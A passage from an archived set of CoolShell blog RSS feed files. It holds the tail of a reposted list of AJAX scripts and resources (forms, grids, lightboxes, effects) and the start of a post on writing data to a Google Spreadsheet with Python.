href=\"http://www.amcharts.com/pie/\" target=\"_blank\">amCharts: customizable flash Pie &amp; Donut chart</a><br />\n<a href=\"http://www.amcharts.com/pie/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-88\" title=\"amcharts-customizable-flash-pie-donut-chart\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/amcharts-customizable-flash-pie-donut-chart.png\" alt=\"\" width=\"404\" height=\"264\" /></a></p>\n<p>40. <a href=\"http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox\" target=\"_blank\">PJ Hyett : The Lightbox Effect without Lightbox</a><br />\n<a href=\"http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-89\" title=\"pj-hyett-the-lightbox-effect-without-lightbox\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/pj-hyett-the-lightbox-effect-without-lightbox.jpg\" alt=\"\" width=\"402\" height=\"260\" /></a></p>\n<h3><strong>Forms</strong></h3>\n<p>41. <a href=\"http://digitarald.de/playground/uplooad.html\" target=\"_blank\">AJAX Upload Form</a><br />\n<a href=\"http://digitarald.de/playground/uplooad.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-90\" title=\"ajax-upload-form\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-upload-form.png\" alt=\"\" width=\"399\" height=\"260\" /></a></p>\n<p>42. <a href=\"http://www.dustindiaz.com/ajax-contact-form/\" target=\"_blank\">An AJAX contact form</a><br />\n<a href=\"http://www.dustindiaz.com/ajax-contact-form/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-137\" title=\"an-ajax-contact-form1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/an-ajax-contact-form1.png\" alt=\"\" width=\"400\" height=\"189\" /></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/an-ajax-contact-form.png\"></a></p>\n<p>43. <a href=\"http://www.roscripts.com/AJAX_contact_form-144.html\" target=\"_blank\">AJAX contact form</a><br />\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-contact-form.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-92\" title=\"ajax-contact-form\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-contact-form.png\" alt=\"\" width=\"400\" height=\"241\" /></a></p>\n<p>44. <a href=\"http://www.roscripts.com/AJAX_contact_form-144.html\" target=\"_blank\">Ajax.Form</a><br />\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajaxform.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-93\" title=\"ajaxform\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajaxform.png\" alt=\"\" width=\"399\" height=\"189\" /></a></p>\n<p>45. <a href=\"http://www.roscripts.com/Ajax_form_validation-152.html\" target=\"_blank\">Ajax form validation</a><br />\n<a href=\"http://www.roscripts.com/Ajax_form_validation-152.htm\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-96\" title=\"ajax-form-validation\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-form-validation.png\" alt=\"\" width=\"400\" height=\"214\" /></a></p>\n<p>46. <a href=\"http://tetlaw.id.au/view/javascript/really-easy-field-validation\" target=\"_blank\">Really easy field validation</a><br />\n<a href=\"http://tetlaw.id.au/view/javascript/really-easy-field-validation\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-97\" title=\"really-easy-field-validation\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/really-easy-field-validation.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>47. <a href=\"http://www.phil-taylor.com/fvalidate/\" target=\"_blank\">AJAX fValidate</a><br />\n<a href=\"http://www.phil-taylor.com/fvalidate/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-98\" title=\"ajax-fvalidate\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-fvalidate.png\" alt=\"\" width=\"400\" height=\"119\" /></a></p>\n<p>48. <a href=\"http://www.roscripts.com/Ajax_newsletter_form-146.html\" target=\"_blank\">Ajax newsletter form</a><br />\n<a href=\"http://www.roscripts.com/Ajax_newsletter_form-146.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-99\" title=\"ajax-newsletter-form\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-newsletter-form.png\" alt=\"\" width=\"400\" height=\"91\" /></a></p>\n<p>49. <a href=\"http://www.formassembly.com/wForms/\" target=\"_blank\">wForms</a><br />\n<a href=\"http://www.formassembly.com/wForms/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-100\" title=\"wforms\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/wforms.png\" alt=\"\" width=\"400\" height=\"145\" /></a></p>\n<h3><strong>Tables and Grids</strong></h3>\n<p>50. <a href=\"http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/\" target=\"_blank\">Data Grids with AJAX, DHTML and JavaScript | Smashing Magazine</a><br />\n<a href=\"http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-101\" title=\"data-grids-with-ajax-dhtml-and-javascript-smashing-magazine\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/data-grids-with-ajax-dhtml-and-javascript-smashing-magazine.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>51. <a href=\"http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html\" target=\"_blank\">Grid3 Example</a><br />\n<a href=\"http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-102\" title=\"grid3-example\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/grid3-example.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>52. <a href=\"http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited\" target=\"_blank\">AJAX Table Sort Script (revisited)</a><br />\n<a href=\"http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-103\" title=\"ajax-table-sort-script-revisited\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-table-sort-script-revisited.png\" alt=\"\" width=\"400\" height=\"150\" /></a></p>\n<p>53. <a href=\"http://www.mochikit.com/examples/ajax_tables/index.html\" target=\"_blank\">AJAX Sortable Tables</a><br />\n<a href=\"http://www.mochikit.com/examples/ajax_tables/index.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-104\" title=\"ajax-sortable-tables\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-sortable-tables.png\" alt=\"\" width=\"400\" height=\"174\" /></a></p>\n<p>54. <a href=\"http://www.millstream.com.au/view/code/tablekit/\" target=\"_blank\">AJAX TableKit</a><br />\n<a href=\"http://www.millstream.com.au/view/code/tablekit/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-105\" title=\"ajax-tablekit\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-tablekit.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>Showcases, Galleries, and Lightbox Scripts</strong></h3>\n<p>55. <a href=\"http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/\" target=\"_blank\">30 Scripts For Galleries, Slideshows and Lightboxes | Smashing Magazine</a><br />\n<a href=\"http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-107\" title=\"30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>56. <a href=\"http://www.nofunc.com/Sexy_Box/\" target=\"_blank\">AJAX LightBox, Sexy Box, Thick Box</a><br />\n<a href=\"http://www.nofunc.com/Sexy_Box/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-108\" title=\"ajax-lightbox-sexy-box-thick-box\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-lightbox-sexy-box-thick-box.png\" alt=\"\" width=\"400\" height=\"158\" /></a></p>\n<p>57. <a href=\"http://www.huddletogether.com/projects/lightbox/\" target=\"_blank\">AJAX Lightbox JS</a><br />\n<a href=\"http://www.huddletogether.com/projects/lightbox\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-109\" title=\"ajax-lightbox-js\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-lightbox-js.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>58. <a href=\"http://orangoo.com/labs/GreyBox/\" target=\"_blank\">AJAX Unobtrusive Popup &#8211; GreyBox</a><br />\n<a href=\"http://orangoo.com/labs/GreyBox/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-110\" title=\"ajax-unobtrusive-popup-greybox\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-unobtrusive-popup-greybox.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>59. <a href=\"http://smoothgallery.jondesign.net/showcase/gallery/\" target=\"_blank\">SmoothGallery: Mootools Mojo for Images | Full gallery</a><br />\n<a href=\"http://smoothgallery.jondesign.net/showcase/gallery/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-111\" title=\"smoothgallery-mootools-mojo-for-images-full-gallery\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/smoothgallery-mootools-mojo-for-images-full-gallery.png\" alt=\"\" width=\"400\" height=\"267\" /></a></p>\n<p>60. <a href=\"http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/\" target=\"_blank\">AJAX Libraries and Frameworks</a><br />\n<a href=\"http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-112\" title=\"ajax-libraries-and-frameworks\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-libraries-and-frameworks.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>Animation and Visual Effects Scripts</strong></h3>\n<p>61. <a href=\"http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css\" target=\"_blank\">How to Create Digg Comment Style Sliding DIVs with Javascript and CSS</a><br />\n<a href=\"http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-138\" title=\"how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1.gif\" alt=\"\" width=\"400\" height=\"135\" /></a></p>\n<p>62. <a href=\"http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/\" target=\"_blank\">How to Create a Collapsible DIV with Javascript and CSS</a><br />\n<a href=\"http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-117\" title=\"how-to-create-a-collapsible-div-with-javascript-and-css1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-a-collapsible-div-with-javascript-and-css1.png\" alt=\"\" width=\"400\" height=\"96\" /></a></p>\n<p>63. <a href=\"http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/\" target=\"_blank\">How to Create an Animated, Sliding, Collapsible DIV with Javascript and CSS</a><br />\n<a href=\"http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-116\" title=\"how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css.png\" alt=\"\" width=\"400\" height=\"124\" /></a></p>\n<p>64. <a href=\"http://demo.script.aculo.us/shop\" target=\"_blank\"><span lang=\"FR\">AJAX Shopcart</span></a><br />\n<a href=\"http://demo.script.aculo.us/shop\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-118\" title=\"ajax-shopcart\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-shopcart.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>65. <a href=\"http://www.dhtmlgoodies.com/index.html?showDownload=true&amp;whichScript=dragable-content\" target=\"_blank\"><span lang=\"FR\">Draggable content</span></a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?showDownload=true&amp;whichScript=dragable-content\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-119\" title=\"draggable-content\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/draggable-content.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>66. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes\" target=\"_blank\"><span lang=\"FR\">Dragable RSS boxes</span></a><br />\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-120\" title=\"dragable-rss-boxes\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/dragable-rss-boxes.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>67. <a href=\"http://www.openrico.org/demos?demo=pull_down\" target=\"_blank\">AJAX Pull Down Effect</a><br />\n<a href=\"http://www.openrico.org/demos?demo=pull_down\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-121\" title=\"ajax-pull-down-effect\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-pull-down-effect.png\" alt=\"\" width=\"400\" height=\"151\" /></a></p>\n<p>68. <a href=\"http://www.openrico.org/demos?demo=effect_animation\" target=\"_blank\">AJAX Animation Effects</a><br />\n<a href=\"http://www.openrico.org/demos?demo=effect_animation\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-122\" title=\"ajax-animation-effects\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-animation-effects.png\" alt=\"\" width=\"400\" height=\"175\" /></a></p>\n<p>69. <a href=\"http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects\" target=\"_blank\">Combination Effects in scriptaculous wiki</a><br />\n<a href=\"http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-123\" title=\"combination-effects-in-scriptaculous-wiki\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/combination-effects-in-scriptaculous-wiki.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>70. <a href=\"http://demos.mootools.net/Fx.Morph\" target=\"_blank\">AJAX Motion Transition</a><br />\n<a href=\"http://demos.mootools.net/Fx.Morph\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-124\" title=\"ajax-motion-transition\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-motion-transition.png\" alt=\"\" width=\"400\" height=\"253\" /></a></p>\n<h3><strong>Useful Javascript Scripts</strong></h3>\n<p>71. <a href=\"http://www.codecoffee.com/articles/9tips.html\" target=\"_blank\">9 Javascript(s) you better not miss!</a><br />\n<a href=\"http://www.codecoffee.com/articles/9tips.html\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-125\" title=\"9-javascripts-you-better-not-miss\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/9-javascripts-you-better-not-miss.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>72. <a href=\"http://www.dustindiaz.com/top-ten-javascript/\" target=\"_blank\">Top 10 custom JavaScript functions of all time</a><br />\n<a href=\"http://www.dustindiaz.com/top-ten-javascript/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-127\" title=\"top-10-custom-javascript-functions-of-all-time1\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/top-10-custom-javascript-functions-of-all-time1.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>73. <a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm\" target=\"_blank\">Hyperdisc Materials: JavaScript: Top 10: Automatic Breadcrumb Trail</a><br />\n<a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-128\" title=\"hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>74. <a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/\" target=\"_blank\">JavaScript: Top 10 Most Useful JavaScripts</a><br />\n<a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-129\" title=\"javascript-top-10-most-useful-javascripts\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/javascript-top-10-most-useful-javascripts.png\" alt=\"\" width=\"400\" height=\"214\" /></a></p>\n<p>75. <a href=\"http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&amp;first_name=asdad&amp;last_name=dasdad&amp;emailer=dasdad\" target=\"_blank\">My Favorite Javascripts for Designers: Blakems.com ?</a><br />\n<a href=\"http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&amp;first_name=asdad&amp;last_name=dasdad&amp;emailer=dasdad\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-130\" title=\"my-favorite-javascripts-for-designers-blakems-com\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/my-favorite-javascripts-for-designers-blakems-com.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<h3><strong>More Resources and Galleries</strong></h3>\n<p>76. <a href=\"http://www.maxkiesler.com/index.php/mhub/category/\" target=\"_blank\">Max Kiesler &#8211; mHub : Ajax and rails examples &amp; how-to’s</a><br />\n<a href=\"http://www.maxkiesler.com/index.php/mhub/category/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-133\" title=\"max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>77. <a href=\"http://ajax.solutoire.com/\" target=\"_blank\">Ajax Resources</a><br />\n<a href=\"http://ajax.solutoire.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-134\" title=\"ajax-resources\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-resources.png\" alt=\"\" width=\"400\" height=\"260\" /></a></p>\n<p>78. <a href=\"http://snippets.dzone.com/\" target=\"_blank\">DZone Snippets: Store, sort and share source code, with tag goodness</a><br />\n<a href=\"http://snippets.dzone.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-135\" title=\"dzone-snippets-store-sort-and-share-source-code-with-tag-goodness\" src=\"http://delimitdesign.com/wp-content/uploads/2009/02/dzone-snippets-store-sort-and-share-source-code-with-tag-goodness.png\" alt=\"\" width=\"400\" height=\"144\" /></a></p>\n<p>文章来源：<a href=\"http://delimitdesign.com/ajax/80-ajax-solutions-that-are-usefull-and-innovative/\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2-150x150.jpg\" alt=\"Ajax开发利器UIzard \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_title\">Ajax开发利器UIzard </a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/57.html\">80个优秀的AJAX方案</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/57.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-49.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 49 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=49\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 11 Feb 2011 18:04:20 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>【引文】如何用Python往Google Spreadsheet上写数据</title>\n\t\t<link>https://coolshell.cn/articles/37.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/37.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 08:03:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=37</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>现代企业里，数据决定着方向，人们都想随时看到各种报表。很多项目可能都需要dashboard一类的工作，把分散的数据变成一些能随时查看实时数据的图表，这个工作有两...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/37.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/37.html\">【引文】如何用Python往Google Spreadsheet上写数据</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>现代企业里，数据决定着方向，人们都想随时看到各种报表。很多项目可能都需要dashboard一类的工作，把分散的数据变成一些能随时查看实时数据的图表，这个工作有两个环节：</p>\n<ol>\n<li>把数据汇集起来，放入CSV或者数据库</li>\n<li>一个服务器端的程序能够读到这写数据，根据需要生成在线的图表 （离线的也可以，那样每次人们想看这些图的时候都会来麻烦你，如果你在度假，他们会想敲开你的电脑）</li>\n</ol>\n<p><span id=\"more-37\"></span></p>\n<p>第一步可以通过定期跑些脚本完成，但是第二步有时候就不太容易了，如果你希望你的图表能够让所有人方便随时查看，最方便的给出一个URL能让人随时访问，Google的在线文档可以提供一个简单的解决方案。 </p>\n<p>但是，如何将数据自动弄到在Google spreadsheet 上呢？手动的copy/paste是一个方法，但是很费人工，最简单的方法就是写个脚本把这个流程自动化。如何将数据写进Spreadsheet (在线表单)呢？请参考下文：</p>\n<p><a title=\"Permanent link to Write to a Google Spreadsheet from a Python script\" rel=\"bookmark\" href=\"http://www.mattcutts.com/blog/write-google-spreadsheet-from-python/\" target=\"_blank\">Write to a Google Spreadsheet from a Python script</a></p>\n<p>注：这是个搜索方面比较大拿的Googler的博客。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a 